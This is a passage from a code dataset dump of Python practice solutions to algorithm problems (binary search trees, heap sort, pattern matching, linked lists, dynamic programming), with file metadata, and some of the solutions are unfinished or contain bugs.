sameBSTs(arrayOne,arrayTwo):\n# if len(arrayOne) != len(arrayTwo):\n# return False\n# if len(arrayOne)== 0 and len(arrayTwo)==0:\n# return True\n# if arrayTwo[0]!=arrayOne[0]:\n# return False\n\n# leftOne = getSmaller(arrayOne)\n# leftTwo = getSmaller(arrayTwo)\n# rightOne =getBiggerOrEqual(arrayOne)\n# rightTwo = getBiggerOrEqual(arrayTwo)\n\n# return sameBSTs(leftOne,leftTwo) and sameBSTs(rightOne,rightTwo)\n\n\n# def getSmaller(array):\n# smaller =[]\n# for i in range(1,len(array)):\n# if array[i] <array[0]:\n# smaller.append(array[i])\n# return smaller\n\n# def getBiggerOrEqual(array):\n# bigger =[]\n# for i in range(1,len(array)):\n# if array[i] >= array[0]:\n# bigger.append(array[i])\n# return bigger\n\n\ndef sameBsts(arrayOne, arrayTwo):\n return areSameBsts(arrayOne, arrayTwo, 0, 0, float(\"-inf\"), float(\"inf\"))\n\n\ndef areSameBsts(arrayOne, arrayTwo, rootIdxOne, rootIdxTwo, minVal, maxVal):\n if rootIdxOne == -1 or rootIdxTwo == -1:\n return rootIdxOne == rootIdxTwo\n\n if arrayOne[rootIdxOne] != arrayTwo[rootIdxTwo]:\n return False\n\n leftRootIdxOne = getIdxOfFirstSmaller(arrayOne, rootIdxOne, minVal)\n leftRootIdxTwo = getIdxOfFirstSmaller(arrayTwo, rootIdxTwo, minVal)\n rightRootIdxOne = getIdxOfFirstBiggerOrEqual(arrayOne, rootIdxOne, maxVal)\n rightRootIdxTwo = getIdxOfFirstBiggerOrEqual(arrayTwo, rootIdxTwo, maxVal)\n\n currentValue = arrayOne[rootIdxOne]\n leftAreSame = areSameBsts(\n arrayOne, arrayTwo, leftRootIdxOne, leftRootIdxTwo, minVal, currentValue)\n rightAreSame = areSameBsts(\n arrayOne, arrayTwo, rightRootIdxOne, rightRootIdxTwo, currentValue, maxVal)\n return leftAreSame and rightAreSame\n\n\ndef getIdxOfFirstSmaller(array, startingIdx, minVal):\n for i in range(startingIdx+1, len(array)):\n if array[i] < array[startingIdx] and array[i] >= minVal:\n return i\n return -1\n\n\ndef getIdxOfFirstBiggerOrEqual(array, startingIdx, maxVal):\n for i in range(startingIdx+1, len(array)):\n if array[i] >= array[startingIdx] and array[i] < maxVal:\n return i\n return -1\n\n\nprint(sameBSTs([10, 15, 8, 12, 94, 81, 5, 2, 11],\n [10, 8, 5, 15, 2, 12, 78, 11, 94, 81]))\n" }, { "alpha_fraction": 0.46192052960395813, "alphanum_fraction": 0.4817880690097809, "avg_line_length": 26.5, "blob_id": "cff303ce9e29a0e48a11de9bbf454bf3aa9a85f7", "content_id": "fb7e20f3f581dd6f10717d6309f91cfd1cd0c344", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 604, "license_type": "no_license", "max_line_length": 43, "num_lines": 22, "path": "/searchInSortedMatrix.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def searchInSortedMatrix(matrix, target):\n# result = [-1, -1]\n# for i in range(len(matrix)):\n# for j in range(len(matrix[i])):\n# if matrix[i][j] == target:\n# result[0] = i\n# result[1] = j\n# return result\n# return result\n\n\ndef searchInSortedMatrix(matrix, target):\n row = 0\n col = len(matrix[0])-1\n while col>= 0 and row <len(matrix):\n if matrix[row][col] > target:\n col-=1\n elif matrix[row][col] < target:\n row+=1\n else:\n return [row,col]\n return [-1,-1]" }, { "alpha_fraction": 0.7627986073493958, "alphanum_fraction": 0.776450514793396, "avg_line_length": 57.599998474121094, "blob_id": "aa6f21a63e43316a58e75b46470680e35a91e392", "content_id": "16fbee2d9e0f83586ac8b8189d5c19441ed698d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1758, "license_type": "no_license", "max_line_length": 108, "num_lines": 30, "path": "/largestRectangleUnderSkyLine.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def largestRectangleUnderSkyline(buildings):\n if len(buildings)==0:\n return 0\n previousBuildingMaxArea=[(buildings[0]*1,buildings[0])]\n largestRectangleForward=previousBuildingMaxArea[0][0]\n for idx,building in enumerate(buildings):\n currentBuildingHeight=building\n minHeightBefore = previousBuildingMaxArea[-1][1]\n maxAreaBeforeCurrent = previousBuildingMaxArea[-1][0]\n currentBuildingArea = 1 * currentBuildingHeight\n currentBuildingPastArea = (idx+1)*min(minHeightBefore,currentBuildingHeight)\n largestCurrentRectangle=max(currentBuildingPastArea,currentBuildingArea,maxAreaBeforeCurrent)\n if largestCurrentRectangle > largestRectangleForward:\n largestRectangleForward=largestCurrentRectangle\n previousBuildingMaxArea.append((largestCurrentRectangle,min(minHeightBefore,currentBuildingHeight)))\n\n previousBuildingMaxArea=[(buildings[-1]*1,buildings[-1])]\n largestRectangleReverse=previousBuildingMaxArea[0][0]\n for idx,building in enumerate(reversed(buildings)):\n currentBuildingHeight=building\n minHeightBefore = previousBuildingMaxArea[-1][1]\n maxAreaBeforeCurrent = previousBuildingMaxArea[-1][0]\n currentBuildingArea = 1 * currentBuildingHeight\n currentBuildingPastArea = (idx+1)*min(minHeightBefore,currentBuildingHeight)\n largestCurrentRectangle=max(currentBuildingPastArea,currentBuildingArea,maxAreaBeforeCurrent)\n if largestCurrentRectangle > largestRectangleReverse:\n largestRectangleReverse=largestCurrentRectangle\n previousBuildingMaxArea.append((largestCurrentRectangle,min(minHeightBefore,currentBuildingHeight)))\n\n return max(largestRectangleReverse,largestRectangleForward)\n" }, { "alpha_fraction": 0.6541038751602173, "alphanum_fraction": 0.6557788848876953, "avg_line_length": 22.41176414489746, "blob_id": "18a6cf38e1850af8e7135d523030285c86141433", "content_id": "33e0f5661cbb3ef7cd2442fa46f9f442c8094fb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1194, "license_type": "no_license", "max_line_length": 56, "num_lines": 51, "path": "/findKthLargestValueInBst.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "class BST:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\nO(N) | O(N)\n\n\ndef findKthLargestValueInBst(tree, k):\n vector = []\n findKthLargestValueInBstHelper(tree, vector)\n return vector[k-1]\n\n\ndef findKthLargestValueInBstHelper(tree, v):\n if tree.left is None and tree.right is None:\n v.append(tree.value)\n return\n if tree.right is not None:\n findKthLargestValueInBstHelper(tree.right, v)\n v.append(tree.value)\n if tree.left is not None:\n findKthLargestValueInBstHelper(tree.left, v)\n\n\nO(K+h) | O(h)\n\n\ndef findKthLargestValueInBst(tree, k):\n vector = []\n findKthLargestValueInBstHelper(tree, vector, k)\n return vector[k-1]\n\n\ndef findKthLargestValueInBstHelper(tree, v, k):\n if len(v) > k:\n return\n if tree.left is None and tree.right is None:\n v.append(tree.value)\n return\n if tree.right is not None:\n findKthLargestValueInBstHelper(tree.right, v, k)\n v.append(tree.value)\n if tree.left is not None:\n findKthLargestValueInBstHelper(tree.left, v, k)\n\n\ndef findKthLargestValueInBst(tree, k):\n pass\n" }, { "alpha_fraction": 0.5327920317649841, "alphanum_fraction": 0.5409119129180908, "avg_line_length": 33.80434799194336, "blob_id": "64da97bcf5509b058cb9cf4c1404eab037615bfc", "content_id": "5ff291cd189d58098eab18277169ed8da7332d25", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1601, "license_type": "no_license", "max_line_length": 67, "num_lines": 46, "path": "/patternMatcher.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def patternMatcher(pattern, string):\n if len(pattern) > len(string):\n return []\n newPattern = getNewPattern(pattern)\n didSwitch = newPattern[0] != pattern[0]\n counts = {\"x\": 0, \"y\": 0}\n firstYPos = getCountAndFirstYPos(newPattern, counts)\n if counts[\"y\"] != 0:\n for lenOfX in range(1,len(string)):\n lenOfY = (len(string)-counts[\"x\"]*lenOfX)/counts[\"y\"]\n if lenOfY <= 0 or lenOfY % 1 != 0:\n continue\n lenOfY = int(lenOfY)\n yIdx = firstYPos*lenOfX\n x = string[:lenOfX]\n y = string[yIdx:yIdx+lenOfY]\n potentialMatch = map(lambda char: x if char ==\n \"x\" else y, newPattern)\n if \"\".join(potentialMatch) == string:\n return [x, y] if not didSwitch else [y, x]\n else:\n lenOfX = len(string)/counts[\"x\"]\n if lenOfX % 1 == 0:\n lenOfX = int(lenOfX)\n x = string[:lenOfX]\n potentialMatch = map(lambda char: x, newPattern)\n if \"\".join(potentialMatch) == string:\n return [x, \"\"] if not didSwitch else [\"\", x]\n return []\n\n\ndef getNewPattern(pattern) -> list:\n patternLetters = list(pattern)\n if patternLetters[0] == \"x\":\n return patternLetters\n else:\n return [\"x\" if ch == \"y\" else \"y\" for ch in patternLetters]\n\n\ndef getCountAndFirstYPos(pattern, counts):\n firstYpos = None\n for idx, ch in enumerate(pattern):\n counts[ch] += 1\n if ch == \"y\" and firstYpos is None:\n firstYpos = idx\n return firstYpos\n" }, { "alpha_fraction": 0.613406777381897, "alphanum_fraction": 0.6299357414245605, "avg_line_length": 28.45945930480957, "blob_id": "02e11059e7a9f104b50f363767e5c3267cf95792", "content_id": "dd2a2c51a3acbb61d7801be64b1f51801591ef6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1089, "license_type": "no_license", "max_line_length": 73, "num_lines": 37, "path": "/heapSort.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def siftDown(heap, currentIdx, endIdx):\n childOneIdx = 2*currentIdx + 1\n while childOneIdx <= endIdx:\n childTwoIdx = 2*currentIdx+2 if currentIdx*2+2 <= endIdx else -1\n if childTwoIdx != -1 and MAX_HEAP(heap, childTwoIdx,childOneIdx):\n idxSwapIdx = childTwoIdx\n else:\n idxSwapIdx = childOneIdx\n if MAX_HEAP(heap, idxSwapIdx, currentIdx):\n swap(heap, idxSwapIdx, currentIdx)\n currentIdx = idxSwapIdx\n childOneIdx = 2*currentIdx + 1\n else:\n return\n\n\ndef buildMaxHeap(array):\n firstParentIdx = (len(array)-1)//2\n for currentIdx in reversed(range(firstParentIdx+1)):\n siftDown(array, currentIdx, len(array)-1)\n return array\n\n\ndef swap(array, i, j):\n array[i], array[j] = array[j], array[i]\n\n\ndef MAX_HEAP(array, idxOne, idxTwo):\n return True if array[idxOne] > array[idxTwo] else False\n\n\ndef heapSort(array):\n buildMaxHeap(array)\n for endIdx in reversed(range(1, len(array))):\n swap(array, 0, endIdx)\n siftDown(array, 0, endIdx-1)\n\treturn array" }, { "alpha_fraction": 0.4982158839702606, "alphanum_fraction": 0.508474588394165, "avg_line_length": 36.349998474121094, "blob_id": "2c0f3bbebca4f0c7c680b179446fc5941b8a6c68", "content_id": "d18469c96eb8a4b79e790a39fe590d42e1da54d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2242, "license_type": "no_license", "max_line_length": 115, "num_lines": 60, "path": "/longestBalancedSubstring.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def longestBalancedSubstring(string):\n stack = []\n maxBalancedLengthSoFar = 0\n numberOfOpeningParentheses = 0\n currentLength = 0\n store =[]\n numberOfClosingParentheses = 0\n for i in range(len(string)):\n if string[i] == ')':\n if len(stack) > 0:\n top = stack[-1]\n if top == \"(\":\n numberOfClosingParentheses += 1\n numberOfOpeningParentheses += 1\n currentLength += 2\n _ = stack.pop()\n else:\n currentLength = 0\n numberOfClosingParentheses = 0\n numberOfOpeningParentheses = 0\n continue\n elif string[i] == '(':\n stack.append('(')\n else:\n pass\n store.append(currentLength)\n if currentLength > maxBalancedLengthSoFar and numberOfClosingParentheses == numberOfOpeningParentheses:\n maxBalancedLengthSoFar = currentLength\n\n stk=[]\n maxBalancedLengthSoFar = 0\n numberOfOpeningParentheses = 0\n currentLength = 0\n for i in reversed(range(len(string))):\n if string[i] == ')':\n if len(stack) > 0:\n top = stack[-1]\n if top == \"(\":\n numberOfClosingParentheses += 1\n numberOfOpeningParentheses += 1\n currentLength += 2\n _ = stack.pop()\n else:\n currentLength = 0\n numberOfClosingParentheses = 0\n numberOfOpeningParentheses = 0\n continue\n elif string[i] == ')':\n stack.append(')')\n else:\n pass\n if currentLength > maxBalancedLengthSoFar and numberOfClosingParentheses == numberOfOpeningParentheses:\n maxBalancedLengthSoFar = currentLength\n return maxBalancedLengthSoFar\n\nprint(longestBalancedSubstring(\"((()(())))))((()))((\"))\nprint(longestBalancedSubstring(\"(()(()\"))\nprint(longestBalancedSubstring(\"())))))())(((())((()\"))\nprint(longestBalancedSubstring(\"())))))())(((())((()\"))\nprint(longestBalancedSubstring(\"(()))(\"))\n\n" }, { "alpha_fraction": 0.5823267698287964, "alphanum_fraction": 0.590273380279541, "avg_line_length": 38.32500076293945, "blob_id": "7702483208a72a3efeb9c8776e755cee0dbcc1be", "content_id": "3591919f5bee476960786bec6ab8b4c8cb166bf3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3146, "license_type": "no_license", "max_line_length": 89, "num_lines": 80, "path": "/sumOfLinkedList.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# This is an input class. Do not edit.\nclass LinkedList:\n def __init__(self, value):\n self.value = value\n self.next = None\n\n\ndef sumOfLinkedLists(linkedListOne: LinkedList, linkedListTwo: LinkedList) -> LinkedList:\n if linkedListOne is None and linkedListTwo is not None:\n return linkedListTwo\n if linkedListTwo is None and linkedListOne is not None:\n return linkedListOne\n if linkedListTwo is None and linkedListOne is None:\n return LinkedList(0)\n carry = None\n result = None\n pResult = None\n while linkedListOne and linkedListTwo:\n digitSum = (linkedListOne.value + linkedListTwo.value +\n carry) if carry else (linkedListOne.value+linkedListTwo.value)\n carry = digitSum//10 if digitSum >= 10 else None\n digitSum = digitSum % 10 if digitSum >= 10 else digitSum\n if result is None:\n result = LinkedList(digitSum)\n pResult = result\n else:\n pResult.next = LinkedList(digitSum)\n pResult = pResult.next\n linkedListOne = linkedListOne.next\n linkedListTwo = linkedListTwo.next\n\n if carry and linkedListOne is None and linkedListTwo is None:\n pResult.next = LinkedList(carry)\n\n if linkedListOne is not None and linkedListTwo is None:\n if carry:\n while carry and linkedListOne:\n digitSum = (linkedListOne.value+carry)\n carry = digitSum//10 if digitSum >= 10 else None\n digitSum = digitSum % 10 if digitSum >= 10 else digitSum\n if carry:\n result = LinkedList(carry)\n else:\n pResult.next = LinkedList(digitSum)\n pResult = pResult.next\n linkedListOne = linkedListOne.next\n while linkedListOne:\n pResult.next = LinkedList(linkedListOne.value)\n pResult = pResult.next\n linkedListOne = linkedListOne.next\n else:\n while linkedListOne:\n pResult.next = LinkedList(linkedListOne.value)\n pResult = pResult.next\n linkedListOne = linkedListOne.next\n\n if linkedListTwo is not None and linkedListOne is None:\n if carry:\n while carry and linkedListTwo:\n digitSum = (linkedListTwo.value+carry)\n carry = digitSum//10 if digitSum >= 10 else None\n digitSum = digitSum % 10 if digitSum >= 10 else digitSum\n if carry:\n result = LinkedList(carry)\n else:\n pResult.next = LinkedList(digitSum)\n pResult = pResult.next\n linkedListTwo = linkedListTwo.next\n while linkedListTwo:\n pResult.next = LinkedList(linkedListTwo.value)\n pResult = pResult.next\n linkedListTwo = linkedListTwo.next\n\n else:\n while linkedListTwo:\n pResult.next = LinkedList(linkedListTwo.value)\n pResult = pResult.next\n linkedListTwo = linkedListTwo.next\n\n return result\n" }, { "alpha_fraction": 0.6049926280975342, "alphanum_fraction": 0.6160058975219727, "avg_line_length": 29.266666412353516, "blob_id": "33505e02d9d666110b6c48148066c92a483c6cd2", "content_id": "83b3ca3b16360101b56ba443d25eb2505c82a0aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1362, "license_type": "no_license", "max_line_length": 71, "num_lines": 45, "path": "/tournamentWinner.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def tournamentWinner(competitions, results):\n# teamNames = getAllAvailableTeamName(competitions)\n# for idx in range(len(competitions)):\n# result = 1 if results[idx] == 0 else 0\n# teamNames[competitions[idx][result]] += 3\n# print(teamNames)\n# ret = \"\"\n# score = 0\n# for team, point in teamNames.items():\n# if point > score:\n# ret = team\n# score = point\n# return ret\n\n\n# def getAllAvailableTeamName(competitions):\n# names = {}\n# for i in range(len(competitions)):\n# if competitions[i][0] not in names:\n# names[competitions[i][0]] = 0\n# if competitions[i][1] not in names:\n# names[competitions[i][1]] = 0\n# return names\n\n\nHOME_TEAM_WON = 1\n\n\ndef tournamentWinner(competitions, results):\n currentBestTeam = \"\"\n scores = {currentBestTeam: 0}\n for idx, competition in enumerate(competitions):\n result = results[idx]\n homeTeam, awayTeam = competition\n winningTeam = homeTeam if result == HOME_TEAM_WON else awayTeam\n updateScores(winningTeam, 3, scores)\n if scores[winningTeam] > scores[currentBestTeam]:\n currentBestTeam = winningTeam\n return currentBestTeam\n\n\ndef updateScores(team, points, scores):\n if team not in scores:\n scores[team] = 0\n scores[team] += points\n" }, { "alpha_fraction": 0.5438596606254578, "alphanum_fraction": 0.5614035129547119, "avg_line_length": 34.625, "blob_id": "053a7b607a1bd9a1ec793a0776fc683a8ab96996", "content_id": "a3cd9b09f86bf8cab9ac69ec8d1ca73205fb17b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 285, "license_type": "no_license", "max_line_length": 56, "num_lines": 8, "path": "/numberOfWaysToMakeChange.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def numberOfWaysToMakeChange(n, denoms):\n ways = [0 for amount in range(n+1)]\n ways[0] = 1\n for i in range(len(denoms)):\n for amount in range(1, len(ways)):\n if denoms[i] <= amount:\n ways[amount] += ways[amount - denoms[i]]\n return ways[n]\n" }, { "alpha_fraction": 0.4864864945411682, "alphanum_fraction": 0.5699177384376526, "avg_line_length": 28.379310607910156, "blob_id": "a5bbfb26304769060eb6997fdeb49ffd7fe30a14", "content_id": "ca94946dfc1f8629b1c5daceb88fac95f104d0e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 851, "license_type": "no_license", "max_line_length": 77, "num_lines": 29, "path": "/median.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def median(arr1,arr2):\n result=[]\n merged = merger(0,0,arr1,arr2,result)\n idx=(len(merged)-1)//2\n if len(merged)%2:\n return merged[idx]\n return (merged[idx]+merged[idx+1])/2.0\n \n\n\n#O(2*N+M)\ndef merger(p1,p2,arr1,arr2,result):\n print(f'merger(p1:{p1},p2:{p2},arr1:{arr1},arr2:{arr2},result:{result})')\n if p1 == len(arr1) or p2 == len(arr2):\n if p2 < len(arr2):\n result.append(arr2[p2])\n return merger(p1,p2+1,arr1,arr2,result)\n if p1 < len(arr1):\n result.append(arr1[p1])\n return merger(p1+1,p2,arr1,arr2,result)\n return result\n if arr1[p1]<arr2[p2]:\n result.append(arr1[p1])\n return merger(p1+1,p2,arr1,arr2,result)\n else:\n result.append(arr2[p2])\n return merger(p1,p2+1,arr1,arr2,result)\n\nprint(median([1,3,5],[2,4,6]))" }, { "alpha_fraction": 0.5400640964508057, "alphanum_fraction": 0.5625, "avg_line_length": 29.68852424621582, "blob_id": "adb445dfd587d596cbd46332ad27f67190cfea14", "content_id": "22095acc9b846e0b5ab0bc6670733b11cd767822", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1872, "license_type": "no_license", "max_line_length": 75, "num_lines": 61, "path": "/minRewards.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def minRewards(scores):\n# rewards = [1 for _ in scores]\n# for i in range(1,len(scores)):\n# j=i-1\n# if scores[i]>scores[j]:\n# rewards[i]=rewards[j]+1\n# else:\n# # j=i-1 === j+1=i\n# while j>=0 and scores[j]>scores[j+1]:\n# rewards[j]=max(rewards[j],rewards[j+1]+1)\n# j-=1\n\n# return sum(rewards)\n\n\ndef minRewards(scores):\n rewards = [1 for _ in scores]\n localMinIdxs = getLocalMinScores(scores)\n for localMinIdx in localMinIdxs:\n expandFromLocalMinIdx(localMinIdx, scores, rewards)\n return sum(rewards)\n\n\ndef getLocalMinScores(array):\n if len(array) == 1:\n return [0]\n localMinIdxs = []\n for i in range(len(array)):\n if i == 0 and array[i] < array[i+1]:\n localMinIdxs.append(i)\n if i == len(array)-1 and array[i] < array[i-1]:\n localMinIdxs.append(i)\n if i == 0 or i == len(array)-1:\n continue\n if array[i] < array[i+1] and array[i] < array[i-1]:\n localMinIdxs.append(i)\n return localMinIdxs\n\n\ndef expandFromLocalMinIdx(localMinIdx, scores, rewards):\n leftIdx = localMinIdx-1\n while leftIdx >= 0 and scores[leftIdx] > scores[leftIdx+1]:\n rewards[leftIdx] = max(rewards[leftIdx], rewards[leftIdx+1]+1)\n leftIdx -= 1\n rightIdx = localMinIdx+1\n while rightIdx < len(scores) and scores[rightIdx] > scores[rightIdx-1]:\n rewards[rightIdx] = rewards[rightIdx-1]+1\n rightIdx += 1\n\n\n# def minRewards(scores):\n# rewards = [1 for _ in scores]\n# for i in range(1, len(scores)):\n# if scores[i] > scores[i-1]:\n# rewards[i] = rewards[i-1]+1\n\n# for i in reversed(range(len(scores)-1)):\n# if scores[i] > scores[i+1]:\n# rewards[i] = max(rewards[i], rewards[i+1]+1)\n\n# return rewards\n" }, { "alpha_fraction": 0.6226415038108826, "alphanum_fraction": 0.6248612403869629, "avg_line_length": 29.542373657226562, "blob_id": "fc74548234bdffc553c3dc2550820349a469ca2f", "content_id": "1a4a1184c5ec72acd49ebee8894d79058c17f7ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1802, "license_type": "no_license", "max_line_length": 63, "num_lines": 59, "path": "/findNodeWithKDistance.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# This is an input class. Do not edit.\nclass BinaryTree:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\ndef getParentsForEachNode(node, nodesToParents, parent=None):\n if node:\n nodesToParents[node.value] = parent\n getParentsForEachNode(node.left, nodesToParents, node)\n getParentsForEachNode(node.right, nodesToParents, node)\n\n\ndef getNodeFromValue(value, tree, nodesToParents):\n if tree.value == value:\n return tree\n nodeParent = nodesToParents[value]\n if nodeParent.left and nodeParent.left.value == value:\n return nodeParent.left\n return nodeParent.right\n\n\ndef findNodesDistanceK(tree, target, k):\n nodesToParents = {}\n getParentsForEachNode(tree, nodesToParents)\n targetNode = getNodeFromValue(target, tree, nodesToParents)\n queue = [(targetNode, 0)]\n seen = {targetNode.value}\n while len(queue) > 0:\n currentNode, distance = queue.pop(0)\n if distance == k:\n nodes = [node.value for node, _ in queue]\n nodes.append(currentNode.value)\n return nodes\n connectedNodes = [currentNode.left, currentNode.right,\n nodesToParents[currentNode.value]]\n for node in connectedNodes:\n if node is None:\n continue\n if node.value in seen:\n continue\n seen.add(node.value)\n queue.append((node, distance+1))\n return []\n\n\n# This is an input class. Do not edit.\nclass BinaryTree:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\ndef findNodesDistanceK(tree, target, k):\n # Write your code here.\n return []\n" }, { "alpha_fraction": 0.4699675440788269, "alphanum_fraction": 0.4845779240131378, "avg_line_length": 35.235294342041016, "blob_id": "2d9f7871351cd3145a032a86adb79f76f69f2442", "content_id": "8d224cd3f89abdb5256ec4e38aac722065e98499", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1232, "license_type": "no_license", "max_line_length": 64, "num_lines": 34, "path": "/waterFallStream.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def waterfallStreams(array, source):\n rowAbove = array[0][:]\n rowAbove[source] = -1\n for row in range(1, len(array)):\n currentRow = array[row][:]\n for idx in range(len(rowAbove)):\n valueAbove = rowAbove[idx]\n hasWaterAbove = valueAbove < 0\n hasBlock = currentRow[idx] == 1\n if not hasWaterAbove:\n continue\n if not hasBlock:\n currentRow[idx] += valueAbove\n continue\n splitWater = valueAbove/2\n rightIdx = idx\n while rightIdx+1 < len(rowAbove):\n rightIdx += 1\n if rowAbove[rightIdx] == 1:\n break\n if currentRow[rightIdx] != 1:\n currentRow[rightIdx] += splitWater\n break\n leftIdx = idx\n while leftIdx-1 >= 0:\n leftIdx -= 1\n if rowAbove[leftIdx] == 1:\n break\n if currentRow[leftIdx] != 1:\n currentRow[leftIdx] += splitWater\n break\n rowAbove = currentRow\n finalPercentages = list(map(lambda num: num*-100, rowAbove))\n return finalPercentages\n" }, { "alpha_fraction": 0.7146562933921814, "alphanum_fraction": 0.7198443412780762, "avg_line_length": 34.04545593261719, "blob_id": "85fb371bccfaf03bc783b595cbc763958cc4bb3b", "content_id": "96f5c36cdfbe9e6c39410d189cb2d085a328404a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 771, "license_type": "no_license", "max_line_length": 91, "num_lines": 22, "path": "/heightBalancedBinaryTree.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "class BinaryTree:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\ndef heightBalancedBinaryTree(tree: BinaryTree):\n return heightBalancedBinaryTreeHelper(tree)[1]\n\n\ndef heightBalancedBinaryTreeHelper(tree: BinaryTree) -> tuple:\n if tree is None:\n return (-1, True)\n leftHeight, leftHeightBalanceStatus = heightBalancedBinaryTreeHelper(\n tree.left)\n rightHeight, rightHeightBalanceStatus = heightBalancedBinaryTreeHelper(\n tree.right)\n heightDifferenceStatus = (leftHeightBalanceStatus and rightHeightBalanceStatus and abs(\n leftHeight-rightHeight) <= 1)\n height = max(leftHeight, rightHeight)+1\n return (height, heightDifferenceStatus)\n" }, { "alpha_fraction": 0.5705645084381104, "alphanum_fraction": 0.6159273982048035, "avg_line_length": 33.034481048583984, "blob_id": "8af7050c9bc9291fefb8a0ea0744213609a5e013", "content_id": "c8e2329ff555221e35c219081bb4c0c076132832", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 992, "license_type": "no_license", "max_line_length": 74, "num_lines": 29, "path": "/largestRange.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def largestRange(array): # [1,11,3,0,15,2,4,10,7,12,6]\n bestPossibleRange = []\n history={} #{1:False,11:False,.....6:False}\n longestLengthSoFar=0\n for element in array:\n history[element]=True\n \n for num in array :\n if not history[num]:\n continue\n history[num]=False\n currentLength=1\n leftPossibleNumber=num-1\n rightPossibleNumber=num+1\n while leftPossibleNumber in history:\n history[leftPossibleNumber]=False\n currentLength +=1\n leftPossibleNumber-=1\n while rightPossibleNumber in history:\n history[rightPossibleNumber]=False\n currentLength+=1\n rightPossibleNumber+=1\n \n if currentLength > longestLengthSoFar:\n bestPossibleRange=[leftPossibleNumber+1,rightPossibleNumber-1]\n longestLengthSoFar=currentLength\n return bestPossibleRange\n\nprint(largestRange([1, 11, 3, 0, 15, 5, 2, 4, 10, 7, 12, 6]))\n\n\n\n\n " }, { "alpha_fraction": 0.6541450619697571, "alphanum_fraction": 0.659326434135437, "avg_line_length": 25.620689392089844, "blob_id": "92989fca22b5b6f69060cc054a88b5cbc00b23e4", "content_id": "bdc4977733817cfd585a67735e07ba733577f2d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 772, "license_type": "no_license", "max_line_length": 79, "num_lines": 29, "path": "/compareLeafTraversal.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# This is an input class. Do not edit.\nclass BinaryTree:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\ndef compareLeafTraversal(tree1, tree2):\n treeOneLeaves = []\n treeTwoLeaves = []\n getLeafForTree(tree1, treeOneLeaves)\n getLeafForTree(tree2, treeTwoLeaves)\n if treeOneLeaves == treeTwoLeaves:\n return True\n return False\n\n\ndef getLeafForTree(node, accumulator):\n if node:\n if isLeaf(node):\n accumulator.append(node.value)\n return\n getLeafForTree(node.left, accumulator)\n getLeafForTree(node.right, accumulator)\n\n\ndef isLeaf(node):\n return True if node and node.left is None and node.right is None else False\n" }, { "alpha_fraction": 0.629118800163269, "alphanum_fraction": 0.6390804648399353, "avg_line_length": 38.54545593261719, "blob_id": "7e8a0773068bea29a8919ac4ad051f332eb19974", "content_id": "dbda8a891f0e3dd0ea0990dc34b4806f8443d2da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1305, "license_type": "no_license", "max_line_length": 73, "num_lines": 33, "path": "/tandemBicycle.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def tandemBicycle(redShirtSpeeds, blueShirtSpeeds, fastest):\n return getMaximumTotalSpeed(redShirtSpeeds, blueShirtSpeeds, fastest)\n\n\ndef getMaximumTotalSpeed(redShirtSpeeds, blueShirtSpeeds, fastest):\n if len(redShirtSpeeds) == 0 and len(blueShirtSpeeds) == 0:\n return 0\n redShirtSpeeds.sort()\n blueShirtSpeeds.sort()\n fastestRedRider = redShirtSpeeds[-1]\n fastestBlueRider = blueShirtSpeeds[-1]\n slowestRedRider = redShirtSpeeds[0]\n slowestBlueRider = blueShirtSpeeds[0]\n if fastest:\n maximumTotalSpeed = 0\n length = len(redShirtSpeeds)\n if fastestRedRider > fastestBlueRider:\n for idx in range(length):\n maximumTotalSpeed += max(\n redShirtSpeeds[length-1-idx], 